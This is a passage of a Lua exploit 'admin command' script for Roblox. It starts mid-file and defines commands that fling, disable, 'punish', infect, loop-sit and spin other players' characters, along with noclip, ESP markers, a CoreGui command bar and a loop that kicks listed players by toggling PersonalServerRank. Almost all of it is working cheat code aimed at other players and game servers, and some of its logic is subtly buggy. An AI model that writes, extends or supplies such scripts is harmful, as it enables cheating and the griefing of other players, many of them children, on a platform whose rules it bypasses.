end
nuke:Destroy()
end
end
end)

addcmd('infect','infects player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
function infect(rip)
local pchar = gPlayers[v].Character
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Hat") or v:IsA("Shirt") or v:IsA("Pants") then
v:Destroy()
Notify(gPlayers[v].Name .. ' is now infected')
end
end
if pchar.Torso:FindFirstChild("roblox") then
pchar.Torso.roblox:Destroy()
end
if pchar.Head:FindFirstChild("face") then
pchar.Head.face.Texture = "http://www.roblox.com/asset/?
id=94634491"
end
if pchar:FindFirstChild("Body Colors") then
local Colors = pchar["Body Colors"]
local Skin = BrickColor.new("Pastel green")
local Clothes = BrickColor.new("Reddish brown")
Colors.HeadColor = Skin
Colors.LeftArmColor = Skin
Colors.RightArmColor = Skin
Colors.LeftLegColor = Clothes
Colors.RightLegColor = Clothes
Colors.TorsoColor = Clothes
end
local w1 = Instance.new("Weld", pchar)
w1.Part0 = pchar["Right Arm"]
w1.Part1 = pchar.Torso
w1.C0 = CFrame.new(-1.5, 0.5, 0.5) *
CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(0), math.rad(0))
local w2 = Instance.new("Weld", pchar)
w2.Part0 = pchar["Left Arm"]
w2.Part1 = pchar.Torso
w2.C0 = CFrame.new(1.5, 0.5, 0.5) *
CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(0), math.rad(0))
local rip = false
local connect1 = pchar["Left Arm"].Touched:connect(function(hit)
if connect1 == false then
connect1 = true
if game.Players:FindFirstChild(hit.Parent.Name) then
infect(game.Players[hit.Parent.Name])
end
wait(0.5)
connect1 = true
end
end)
local connect2 = pchar["Right Arm"].Touched:connect(function(hit)
if connect2 == false then
connect2 = true
if game.Players:FindFirstChild(hit.Parent.Name) then
infect(game.Players[hit.Parent.Name])
end
wait(0.5)
connect2 = true
end
end)
local IV = Instance.new("IntValue", pchar)
IV.Name = "Infected"
IV.Value = 0
IV.Changed:connect(function()
connect1:disconnect()
connect2:disconnect()
end)
end
infect(v)
end
end)

addcmd('uninfect','makes player back to normal',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
execCmd("fix " .. gPlayers[v].Name, Player)
Notify(gPlayers[v].Name .. 'is no longer infected')
end
end)

addcmd('duck','makes players head a duck',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
for i,v in pairs(pchar.Torso:GetChildren()) do
if v:IsA("Decal") then
v:Destroy()
end
end
for i,v in pairs(pchar:GetChildren()) do
if v:IsA("Hat") then
v:Destroy()
end
end
local duck = Instance.new("SpecialMesh", pchar.Torso)
duck.MeshType = "FileMesh"
duck.MeshId = "http://www.roblox.com/asset/?id=9419831"
duck.TextureId = "http://www.roblox.com/asset/?id=9419827"
duck.Scale = Vector3.new(5, 5, 5)
pchar.Head.Transparency = 1
pchar["Left Arm"].Transparency = 1
pchar["Right Arm"].Transparency = 1
pchar["Left Leg"].Transparency = 1
pchar["Right Leg"].Transparency = 1
pchar.Head.face.Transparency = 1
end
end)

addcmd('unduck','makes player back to normal',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
execCmd("fix " .. gPlayers[v].Name, Player)
end
end)

addcmd('disable','removes players humanoid',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Humanoid") then
pchar.Humanoid.Name = "HUMANOID_" .. gPlayers[v].Name
local humanoid = pchar["HUMANOID_" .. gPlayers[v].Name]
humanoid.Parent = game.ContextActionService
Notify(gPlayers[v].Name .. ' has been disabled')
end
end
end)

addcmd('enable','gives player humanoid',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Humanoid") then
return
else
local humanoid = game.ContextActionService["HUMANOID_" ..
gPlayers[v].Name]
humanoid.Parent = pchar
humanoid.Name = "Humanoid"
Notify(gPlayers[v].Name .. ' has been enabled')
end
end
end)

addcmd('size','changes size of player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
local function scale(chr,scl)

for _,v in pairs(pchar:GetChildren()) do


if v:IsA("Hat") then
v:Clone()
v.Parent = game.Lighting
end
end

local Head = chr['Head']


local Torso = chr['Torso']
local LA = chr['Left Arm']
local RA = chr['Right Arm']
local LL = chr['Left Leg']
local RL = chr['Right Leg']
local HRP = chr['HumanoidRootPart']

wait(0.1)
Head.formFactor = 3
Torso.formFactor = 3
LA.formFactor = 3
RA.formFactor = 3
LL.formFactor = 3
RL.formFactor = 3
HRP.formFactor = 3

Head.Size = Vector3.new(scl * 2, scl, scl)


Torso.Size = Vector3.new(scl * 2, scl * 2, scl)
LA.Size = Vector3.new(scl, scl * 2, scl)
RA.Size = Vector3.new(scl, scl * 2, scl)
LL.Size = Vector3.new(scl, scl * 2, scl)
RL.Size = Vector3.new(scl, scl * 2, scl)
HRP.Size = Vector3.new(scl * 2, scl * 2, scl)

local Motor1 = Instance.new('Motor6D', Torso)


Motor1.Part0 = Torso
Motor1.Part1 = Head
Motor1.C0 = CFrame.new(0, 1 * scl, 0) * CFrame.Angles(-1.6, 0, 3.1)
Motor1.C1 = CFrame.new(0, -0.5 * scl, 0) * CFrame.Angles(-1.6, 0, 3.1)
Motor1.Name = "Neck"

local Motor2 = Instance.new('Motor6D', Torso)


Motor2.Part0 = Torso
Motor2.Part1 = LA
Motor2.C0 = CFrame.new(-1 * scl, 0.5 * scl, 0) * CFrame.Angles(0, -1.6,
0)
Motor2.C1 = CFrame.new(0.5 * scl, 0.5 * scl, 0) * CFrame.Angles(0, -
1.6, 0)
Motor2.Name = "Left Shoulder"

local Motor3 = Instance.new('Motor6D', Torso)


Motor3.Part0 = Torso
Motor3.Part1 = RA
Motor3.C0 = CFrame.new(1 * scl, 0.5 * scl, 0) * CFrame.Angles(0, 1.6,
0)
Motor3.C1 = CFrame.new(-0.5 * scl, 0.5 * scl, 0) * CFrame.Angles(0,
1.6, 0)
Motor3.Name = "Right Shoulder"

local Motor4 = Instance.new('Motor6D', Torso)


Motor4.Part0 = Torso
Motor4.Part1 = LL
Motor4.C0 = CFrame.new(-1 * scl, -1 * scl, 0) * CFrame.Angles(0, -1.6,
0)
Motor4.C1 = CFrame.new(-0.5 * scl, 1 * scl, 0) * CFrame.Angles(0, -1.6,
0)
Motor4.Name = "Left Hip"

local Motor5 = Instance.new('Motor6D', Torso)


Motor5.Part0 = Torso
Motor5.Part1 = RL
Motor5.C0 = CFrame.new(1 * scl, -1 * scl, 0) * CFrame.Angles(0, 1.6, 0)
Motor5.C1 = CFrame.new(0.5 * scl, 1 * scl, 0) * CFrame.Angles(0, 1.6,
0)
Motor5.Name = "Right Hip"

local Motor6 = Instance.new('Motor6D', HRP)


Motor6.Part0 = HRP
Motor6.Part1 = Torso
Motor6.C0 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1)
Motor6.C1 = CFrame.new(0, 0, 0) * CFrame.Angles(-1.6, 0, -3.1)

end

scale(pchar, args[2])

for _,v in pairs(game.Lighting:GetChildren()) do


if v:IsA("Hat") then
v.Parent = pchar
end
end
end
end)

addcmd('confuse','reverses players speed',{'reverse'},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
pchar.Humanoid.WalkSpeed = tonumber(-16)
end
end)

addcmd('unconfuse','reverses players speed',{'unreverse'},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
pchar.Humanoid.WalkSpeed = tonumber(16)
end
end)

addcmd('clone','clones player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
pchar.Archivable = true
local clone = pchar:Clone()
clone.Parent = game.Workspace
clone:MoveTo(pchar:GetModelCFrame().p)
clone:MakeJoints()
pchar.Archivable = false
end
end)

addcmd('spin','spins player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
for i,v in pairs(pchar.Torso:GetChildren()) do
if v.Name == "Spinning" then
v:Destroy()
end
end
local Torso = pchar.Torso
local BG = Instance.new("BodyGyro", Torso)
BG.Name = "Spinning"
BG.maxTorque = Vector3.new(0, math.huge, 0)
BG.P = 11111
BG.cframe = Torso.CFrame
repeat wait(1/44)
BG.CFrame = BG.CFrame * CFrame.Angles(0,math.rad(30),0)
until not BG or BG.Parent ~= Torso
end
end)

addcmd('unspin','stops spinning player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
for i,v in pairs(pchar.Torso:GetChildren()) do
if v.Name == "Spinning" then
v:Destroy()
end
end
end
end)

addcmd('dog','makes player a dog',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Shirt") then
pchar.Shirt:Destroy()
end
if pchar:FindFirstChild("Pants") then
pchar.Pants:Destroy()
end
if pchar:FindFirstChild("Shirt Graphic") then
pchar["Shirt Graphic"].Graphic = ""
end
pchar.Torso.Transparency = 1
pchar.Torso.Neck.C0 = CFrame.new(0,-.5,-2) *
CFrame.Angles(math.rad(90),math.rad(180),0)
pchar.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) *
CFrame.Angles(0,math.rad(90),0)
pchar.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) *
CFrame.Angles(0,math.rad(-90),0)
pchar.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) *
CFrame.Angles(0,math.rad(90),0)
pchar.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) *
CFrame.Angles(0,math.rad(-90),0)
local FakeTorso = Instance.new("Seat", pchar)
FakeTorso.Name = "FakeTorso"
FakeTorso.FormFactor = "Symmetric"
FakeTorso.TopSurface = 0
FakeTorso.BottomSurface = 0
FakeTorso.Size = Vector3.new(3,1,4)
FakeTorso.BrickColor = BrickColor.new("Brown")
FakeTorso.CFrame = pchar.Torso.CFrame
local BF = Instance.new("BodyForce", FakeTorso)
BF.Force = Vector3.new(0, FakeTorso:GetMass() * 196.25, 0)
local W = Instance.new("Weld", pchar.Torso)
W.Part0 = pchar.Torso
W.Part1 = FakeTorso
W.C0 = CFrame.new(0,-.5,0)
local BC = pchar["Body Colors"]
BC.HeadColor = BrickColor.new("Brown")
BC.LeftArmColor = BrickColor.new("Brown")
BC.LeftLegColor = BrickColor.new("Brown")
BC.RightArmColor = BrickColor.new("Brown")
BC.RightLegColor = BrickColor.new("Brown")
BC.TorsoColor = BrickColor.new("Brown")
end
end)

addcmd('undog','makes player back to normal',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
execCmd("fix " .. gPlayers[v].Name, Player)
end
end)

addcmd('tptool','gives player tptool',{''},


function(args)
local tool = DATA.Teleport:Clone()
tool.Parent = Player.Backpack
end)

addcmd('loopsit','loop sits player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("LoopSit") then
pchar.LoopSit.Name = "NotLoopSit"
wait(0.1)
pchar.NotLoopSit:Destroy()
end
local LoopSit = Instance.new("StringValue", pchar)
LoopSit.Name = "LoopSit"
Notify(gPlayers[v].Name .. ' is now loopsitting')
repeat wait(0.1)
pchar.Humanoid.Sit = true
Notify(gPlayers[v].Name .. ' is now loopsitting')
until LoopSit.Name == "NotLoopSit"
end
end)

addcmd('unloopsit','stops loop sit on player',{'noloopsit'},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("LoopSit") then
pchar.LoopSit.Name = "NotLoopSit"
wait(0.1)
pchar.NotLoopSit:Destroy()
Notify(gPlayers[v].Name .. ' is no longer loopsitting')
end
end
end)

addcmd('loopjump','loop jumps player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("LoopJump") then
pchar.LoopJump.Name = "NotLoopJump"
wait(0.1)
pchar.NotLoopJump:Destroy()
end
local LoopJump = Instance.new("StringValue", pchar)
LoopJump.Name = "LoopJump"
Notify('loopjumping ' .. gPlayers[v].Name)
repeat wait(0.1)
pchar.Humanoid.Jump = true
until LoopJump.Name == "NotLoopJump"
end
end)

addcmd('unloopjump','stops loop jump on player',{'noloopjump'},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("LoopJump") then
pchar.LoopJump.Name = "NotLoopJump"
wait(0.1)
pchar.NotLoopJump:Destroy()
Notify(gPlayers[v].Name .. ' is no longer loopjumping')
end
end
end)

addcmd('loopheal','loop heals player',{},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("LoopHeal") then
pchar.LoopHeal.Name = "NotLoopHeal"
wait(0.1)
pchar.NotLoopHeal:Destroy()
end
local LoopHeal = Instance.new("StringValue", pchar)
LoopHeal.Name = "LoopHeal"
Notify('loophealing' .. gPlayers[v].Name)
repeat wait(0.1)
pchar.Humanoid.Health = pchar.Humanoid.MaxHealth
until LoopHeal.Name == "NotLoopHeal"
end
end)

addcmd('unloopheal','stops loop heal on player',{'noloopheal'},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("LoopHeal") then
pchar.LoopHeal.Name = "NotLoopHeal"
wait(0.1)
pchar.NotLoopHeal:Destroy()
Notify(gPlayers[v].Name .. ' no longer has loopheal')
end
end
end)

addcmd('fling','flings player',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Humanoid") then
local xran
local zran
repeat
xran = math.random(-9999,9999)
until math.abs(xran) >= 5555
repeat
zran = math.random(-9999,9999)
until math.abs(zran) >= 5555
pchar.Humanoid.Sit = true
pchar.Torso.Velocity = Vector3.new(0,0,0)
local BF = Instance.new("BodyForce", pchar.Torso)
BF.force = Vector3.new(xran * 4, 9999 * 5, zran * 4)
Notify('Flung ' .. gPlayers[v].Name .. ' :D')
end
end
end)

addcmd('nograv','makes player have moon gravity',{''},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
for i,v in pairs(pchar.Torso:GetChildren()) do
if v.Name == "NoGrav" then
v:Destroy()
end
end
local BF = Instance.new("BodyForce", pchar.Torso)
BF.Name = "NoGrav"
BF.Force = Vector3.new(0,2700,0)
Notify(gPlayers[v].Name .. ' now has nograv')
end
end)

addcmd('grav','makes player have normal gravity',{''},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
for i,v in pairs(pchar.Torso:GetChildren()) do
if v.Name == "NoGrav" then
v:Destroy()
Notify(gPlayers[v].Name .. ' now has grav')
end
end
end
end)

addcmd('seizure','makes player have a seizure',{''},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Seizure") then

end
local Seizure = Instance.new("StringValue", pchar)
Seizure.Name = "Seizure"
pchar.Humanoid.PlatformStand = true
repeat wait()
pchar.Torso.Velocity = Vector3.new(math.random(-10,10),-
5,math.random(-10,10))
pchar.Torso.RotVelocity = Vector3.new(math.random(-
5,5),math.random(-5,5),math.random(-5,5))
until Seizure.Name == "NotSeizure"
end
end)

addcmd('unseizure','makes player stop having a seizure',{''},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Seizure") then
pchar.Humanoid.PlatformStand = false
pchar.Seizure.Name = "NotSeizure"
wait(0.1)
pchar.NotSeizure:Destroy()
end
end
end)

addcmd('wtrbtools', 'tools from welcome to roblox building',{},


function(args)
x = game:GetService("InsertService"):LoadAsset(73089166)
for i,v in pairs(x:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Backpack
end
x:Remove()
x = game:GetService("InsertService"):LoadAsset(73089204)
for i,v in pairs(x:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Backpack
end
x:Remove()
x = game:GetService("InsertService"):LoadAsset(73089190)
for i,v in pairs(x:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Backpack
end
x:Remove()
x = game:GetService("InsertService"):LoadAsset(58880579)
for i,v in pairs(x:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Backpack
end
x:Remove()
x = game:GetService("InsertService"):LoadAsset(60791062)
for i,v in pairs(x:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Backpack
end
x:Remove()
x = game:GetService("InsertService"):LoadAsset(73089239)
for i,v in pairs(x:GetChildren()) do
v.Parent = game.Players.LocalPlayer.Backpack
end
x:Remove()
end)

addcmd('cape','gives you a cape',{''},


function(args)
if not args[1] then
args[1] = 1012
end
capeColor = args[1]
Cape(Player)
end)

addcmd('m','makes a global message :0',{''},


function(args)
local MSG = table.concat(args, " ")
local newMSG = string.gsub(MSG, args[1] .. " ", "")
_G.msg(MSG)
end)

addcmd('uncape','takes cape away from you',{''},


function(args)
if char:FindFirstChild("Cape") ~= nil then
char.Cape:Destroy()
end
end)

addcmd('paper','makes player thin as paper',{''},


function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
local LA = DATA.Paper:Clone()
LA.Parent = pchar["Left Arm"]
local RA = DATA.Paper:Clone()
RA.Parent = pchar["Right Arm"]
local LL = DATA.Paper:Clone()
LL.Parent = pchar["Left Leg"]
local RL = DATA.Paper:Clone()
RL.Parent = pchar["Right Leg"]
local T = DATA.Paper:Clone()
T.Parent = pchar.Torso
local H = DATA.Paper:Clone()
H.Parent = pchar.Head
pchar.Head.face:Destroy()
end
end)
addcmd('punish','punishs player',{''},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
pchar.Parent = game.Lighting
Notify(gPlayers[v].Name .. ' has been punished')
end
end)

addcmd('unpunish','unpunishs player',{''},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players)do
if game.Lighting:FindFirstChild("" .. gPlayers[v].Name) then
game.Lighting:FindFirstChild("" .. gPlayers[v].Name).Parent =
game.Workspace
Notify(gPlayers[v].Name .. ' has been unpunished')
end
end
end)

addcmd('disco','disco party',{''},
function(args)
Disco = true
if Disco == true then
repeat wait(0.3)
game.Lighting.Ambient =
Color3.new(math.random(),math.random(),math.random())
until Disco == false
end
end)

addcmd('undisco','rip disco party',{''},


function(args)
Disco = false
wait(0.1)
game.Lighting.Ambient = Color3.new(0.5,0.5,0.5)
end)

-----------
---Extra---
-----------

Floating = false

addcmd('float', 'makes player float',{},


function(args,speaker)
Floating = true
local players = getPlayer(args[1])
for _,v in pairs(players) do
local pchar = gPlayers[v].Character
if gPlayers[v] and pchar and not pchar:FindFirstChild("Float") then
spawn(function()
local float = DATA.Float:Clone()
float.Parent = pchar
float.CFrame = pchar.Torso.CFrame * CFrame.new(0,-3.5,0)
spawn(function()
Notify(gPlayers[v].Name .. ' now has float')
while wait(0.1) do
if pchar:FindFirstChild("Float") then
float.CFrame = pchar.Torso.CFrame *
CFrame.new(0,-3.5,0)
else
break
end
end
end)
end)
end
end
end)

addcmd('unfloat','disables floating',{},
function(args)
Floating = false
local players = getPlayer(args[1])
for i,v in pairs(players)do
local pchar = gPlayers[v].Character
if pchar:FindFirstChild("Float") then
pchar.Float:Destroy()
Notify(gPlayers[v].Name .. ' no longer has float')
end
end
end)

local Clip = true

addcmd('noclip','enables noclip',{},
function(args)
Notify('NoClip enabled')
Clip = false
wait(1)
Name = game.Players.LocalPlayer.Name
game:GetService('Players').LocalPlayer.PlayerGui.ChildAdded:connect(function
(NC)
delay(0, function()
if NC.Name ~= "Memes" then
NC:Destroy()
end
end)
end)
game:GetService('RunService').Stepped:connect(function ()
game.Workspace[Name].Torso.CanCollide = Clip
game.Workspace[Name].Head.CanCollide = Clip
end)
game.Workspace[Name].Torso.Changed:connect(function()
game.Workspace[Name].Torso.CanCollide = Clip
game.Workspace[Name].Head.CanCollide = Clip
end)
end)

addcmd('clip','disables noclip',{},
function(args)
Notify('NoClip disabled')
Clip = true
end)
wait(0.1)

addcmd('prefix','changes prefix',{},
function(args)
cmdprefix = args[1]
Notify('Changed prefix to "' .. args[1] .. '"')
end)

addcmd('admins','prints admins',{},
function(args)
for i,v in pairs(AdminFolder:GetChildren()) do
if v:IsA("StringValue") then
print("-" .. v.Value)
Notify('Printed Admins, Check Console')
end
end
end)

addcmd('respawn','respawns',{},
function(args)
local players = getPlayer(args[1])
for i,v in pairs(players) do
local M = Instance.new('Model', gWorkspace) M.Name = 'respawn_seth'
local H = Instance.new('Humanoid', M)
local T = Instance.new('Part', M) T.Name = 'Torso' T.CanCollide = false
T.Transparency = 1
gPlayers[v].Character = M
end
end)

addcmd('bans','prints bans',{},
function(args)
for i,v in pairs(BanFolder:GetChildren()) do
if v:IsA("StringValue") then
print("-" .. v.Value)
Notify('Printed Bans, Check Console (F9)')
end
end
end)

addcmd('version','shows version',{''},
function(args)
Notify("Version is " .. Version)
end)

-----------------------
-----Floating data-----
-----------------------

Mouse.KeyDown:connect(function (Key)
if Key:byte() == 29 then
if Floating == false then
execCmd("float me", Player)
Floating = true
elseif Floating == true then
execCmd("unfloat me", Player)
Floating = false
end
end
end)

--------------
---Ban data---
--------------

for i,v in pairs(BannedPlayers) do


local ban = Instance.new("StringValue", BanFolder)
ban.Value = v
ban.RobloxLocked = true
end

spawn(function ()
while wait(0.1) do
for _,a in pairs(game.ContextActionService:GetChildren()) do
if a.Name == "BanList" then
for _,b in pairs(a:GetChildren()) do
if b:IsA("StringValue") then
for _,c in pairs(game.Players:GetChildren()) do
if c.Name == b.Value then
c.PersonalServerRank = 200
wait(0.1)
c.PersonalServerRank = 0
end
end
end
end
end
end
end
end)

---------
--Admin--
---------

for i,v in pairs(admins) do


local admin = Instance.new("StringValue", AdminFolder)
admin.Value = v
admin.RobloxLocked = true
end

spawn(function ()
while wait(0.1) do
for _,a in pairs(game.ContextActionService:GetChildren()) do
if a.Name == "AdminList" then
for _,b in pairs(a:GetChildren()) do
if b:IsA("StringValue") then
for _,c in pairs(game.Players:GetChildren()) do
if c.Name == b.Value then
execCmd('admin ' .. c.Name)
end
end
end
end
end
end
end
end)
-------------------------
-----Long space lmao-----
-------------------------

-------------------
----Command bar----
-------------------

CMDbar = Instance.new('ScreenGui', game.CoreGui)


CMDbar.Name = 'GUI'
cmdBAR = Instance.new('TextBox', CMDbar)
cmdBAR.Name = 'CMDbar'
cmdBAR.Active = true
cmdBAR.BackgroundColor = BrickColor.new(255,255,255)
cmdBAR.BackgroundTransparency = 0.5
cmdBAR.BorderColor = BrickColor.new(255,255,255)
cmdBAR.BorderSizePixel = 0
cmdBAR.Position = UDim2.new(0,0,-25,-25)
cmdBAR.Size = UDim2.new(0,200,0,20)
cmdBAR.Font = 'SourceSans'
cmdBAR.FontSize = 'Size18'
cmdBAR.Text = 'Press ; to Execute a Command'
cmdBAR.TextColor = BrickColor.new(0,0,0)

-------------------
----Random data----
-------------------

DATA = Instance.new('Folder', game.ContextActionService)


DATA.Name = 'Data'

Paper = Instance.new('BlockMesh', DATA)


Paper.Name = 'Paper'
Paper.Scale = Vector3.new(1,1,0.1)

ayylmao = Instance.new('Hat', DATA)


ayylmao.Name = 'ayylmao'
ayyHandle = Instance.new('Part', ayylmao)
ayyHandle.Name = 'Handle'
ayyHandle.Size = Vector3.new(2,2.4,2)
ayyHandle.FormFactor = 'Plate'
ayyMesh = Instance.new('SpecialMesh', ayyHandle)
ayyMesh.Scale = Vector3.new(1,1.02,1)
ayyMesh.MeshType = 'FileMesh'
ayyMesh.MeshId = 'http://www.roblox.com/asset/?id=13827689'
ayyMesh.TextureId = 'http://www.roblox.com/asset/?id=13827796'

Float = Instance.new('Part', DATA)


Float.Name = 'Float'
Float.Transparency = 1
Float.Size = Vector3.new(6,1,6)
Float.Anchored = true

---------------------------
--Commands GUI properties--
---------------------------

cmdGUI = Instance.new('ScreenGui', DATA)


cmdGUI.Name = 'CMDs'
cmdMAIN = Instance.new('Frame', cmdGUI)
cmdMAIN.Name = 'MAIN'
cmdMAIN.Active = true
cmdMAIN.BackgroundColor = BrickColor.new(255,255,255)
cmdMAIN.BackgroundTransparency = 0.5
cmdMAIN.BorderColor = BrickColor.new(0,0,0)
cmdMAIN.BorderSizePixel = 0
cmdMAIN.Position = UDim2.new(0, 0, 0.7, 0)
cmdMAIN.Size = UDim2.new(0,170,0,15)
cmdMAIN.Draggable = true
cmdCMDs = Instance.new('ScrollingFrame', cmdMAIN)
cmdCMDs.Name = 'CMDs'
cmdCMDs.BackgroundColor = BrickColor.new(255,255,255)
cmdCMDs.BackgroundTransparency = 0.8
cmdCMDs.BorderColor = BrickColor.new(0,0,0)
cmdCMDs.BorderSizePixel = 0
cmdCMDs.Position = UDim2.new(0,0,0,15)
cmdCMDs.Size = UDim2.new(0,200,0,150)
cmdCMDs.CanvasSize = UDim2.new(0,0,0,0)
cmdCMDs.TopImage = 'rbxasset://textures/blackBkg_square.png'
cmdCMDs.MidImage = 'rbxasset://textures/blackBkg_square.png'
cmdCMDs.BottomImage = 'rbxasset://textures/blackBkg_square.png'
cmdCMDs.ScrollBarThickness = 5
cmdExit = Instance.new('TextButton', cmdMAIN)
cmdExit.Name = 'Exit'
cmdExit.BackgroundColor = BrickColor.new(255,0,0)
cmdExit.BackgroundTransparency = 0.5
cmdExit.BorderColor = BrickColor.new(255,0,0)
cmdExit.BorderSizePixel = 0
cmdExit.Position = UDim2.new(0,185,0,0)
cmdExit.Size = UDim2.new(0,15,0,15)
cmdExit.Text = ""
ExitScript = Instance.new('LocalScript', cmdExit)
ExitScript.Source =
[[
script.Parent.MouseButton1Down:connect(function()
script.Parent.Parent.CMDs:Destroy()
end)
]]
cmdMin = Instance.new('TextButton', cmdMAIN)
cmdMin.Name = 'MM'
cmdMin.BackgroundColor = BrickColor.new(0.3,0.3,0.3)
cmdMin.BackgroundTransparency = 0.5
cmdMin.BorderColor = BrickColor.new(140,140,140)
cmdMin.BorderSizePixel = 0
cmdMin.Position = UDim2.new(0,170,0,0)
cmdMin.Size = UDim2.new(0,15,0,15)
cmdMin.Text = ""
MinScript = Instance.new('LocalScript', cmdMin)
MinScript.Source =
[[
local CMDs = script.Parent.Parent.CMDs

script.Parent.MouseButton1Down:connect(function()
if CMDs.Visible == true then
CMDs.Visible = false
elseif CMDs.Visible == false then
CMDs.Visible = true
end
end)
]]
cmdEx = Instance.new('TextLabel', cmdMAIN)
cmdEx.Name = 'Example'
cmdEx.BackgroundColor = BrickColor.new(0,0,0)
cmdEx.BackgroundTransparency = 0.8
cmdEx.BorderColor = BrickColor.new(0,0,0)
cmdEx.BorderSizePixel = 0
cmdEx.Position = UDim2.new(0,5,0,20)
cmdEx.Size = UDim2.new(0,190,0,20)
cmdEx.Visible = false
cmdEx.TextColor = BrickColor.new(255,255,255)
cmdEx.TextXAlignment = 'Left'

memeGUI = Instance.new('ScreenGui', DATA)


memeGUI.Name = 'Memes'
memeImage = Instance.new('ImageLabel', memeGUI)
memeImage.BackgroundTransparency = 1
memeImage.Position = UDim2.new(0,-300,1,-150)
memeImage.Size = UDim2.new(0,300,0,300)
memeImage.Rotation = -30
memeImage.Image = 'rbxassetid://343377229'
memeScript = Instance.new('LocalScript', memeGUI)
memeScript.Source =
[[
local meme = script.Parent.ImageLabel

wait(2)

meme:TweenPosition(UDim2.new(1, 0, 1, -150), "InOut", "Quad", 3, true, nil)


]]

espMAIN = Instance.new('BillboardGui', DATA)


espMAIN.Name = 'MAIN'
espMAIN.AlwaysOnTop = true
espMAIN.ExtentsOffset = Vector3.new(0,1,0)
espMAIN.Size = UDim2.new(0,5,0,5)
espMAIN.StudsOffset = Vector3.new(0,1,0)
espDot = Instance.new('Frame', espMAIN)
espDot.BackgroundColor = BrickColor.new(42,181,255)
espDot.BackgroundTransparency = 0.3
espDot.BorderSizePixel = 0
espDot.Position = UDim2.new(-0.5,0,-0.5,0)
espDot.Size = UDim2.new(2,0,2,0)
espDot.Visible = false
espDot.ZIndex = 10
espName = Instance.new('TextLabel', espMAIN)
espName.Name = 'Name'
espName.BackgroundColor = BrickColor.new(0,0,0)
espName.BackgroundTransparency = 1
espName.BorderColor = BrickColor.new(0,0,0)
espName.BorderSizePixel = 0
espName.Position = UDim2.new(0,0,0,-35)
espName.Size = UDim2.new(1,0,10,0)
espName.Visible = false
espName.ZIndex = 10

-------------------------
----Notify properties----
-------------------------

notifyMAIN = Instance.new('ScreenGui', DATA)


notifyMAIN.Name = 'Notification'
notifyNOT = Instance.new('Frame', notifyMAIN)
notifyNOT.Name = 'NOTIFY'
notifyNOT.BackgroundColor = BrickColor.new(255,255,255)
notifyNOT.BackgroundTransparency = 0.5
notifyNOT.BorderColor = BrickColor.new(255,255,255)
notifyNOT.BorderSizePixel = 2
notifyNOT.Position = UDim2.new(0,-200,0.7,0)
notifyNOT.Size = UDim2.new(0,400,0,50)
notifyNOTE = Instance.new('TextLabel', notifyNOT)
notifyNOTE.Name = 'NOTE'
notifyNOTE.BackgroundColor = BrickColor.new(255,255,255)
notifyNOTE.BackgroundTransparency = 1
notifyNOTE.BorderColor = BrickColor.new(255,255,255)
notifyNOTE.BorderSizePixel = 0
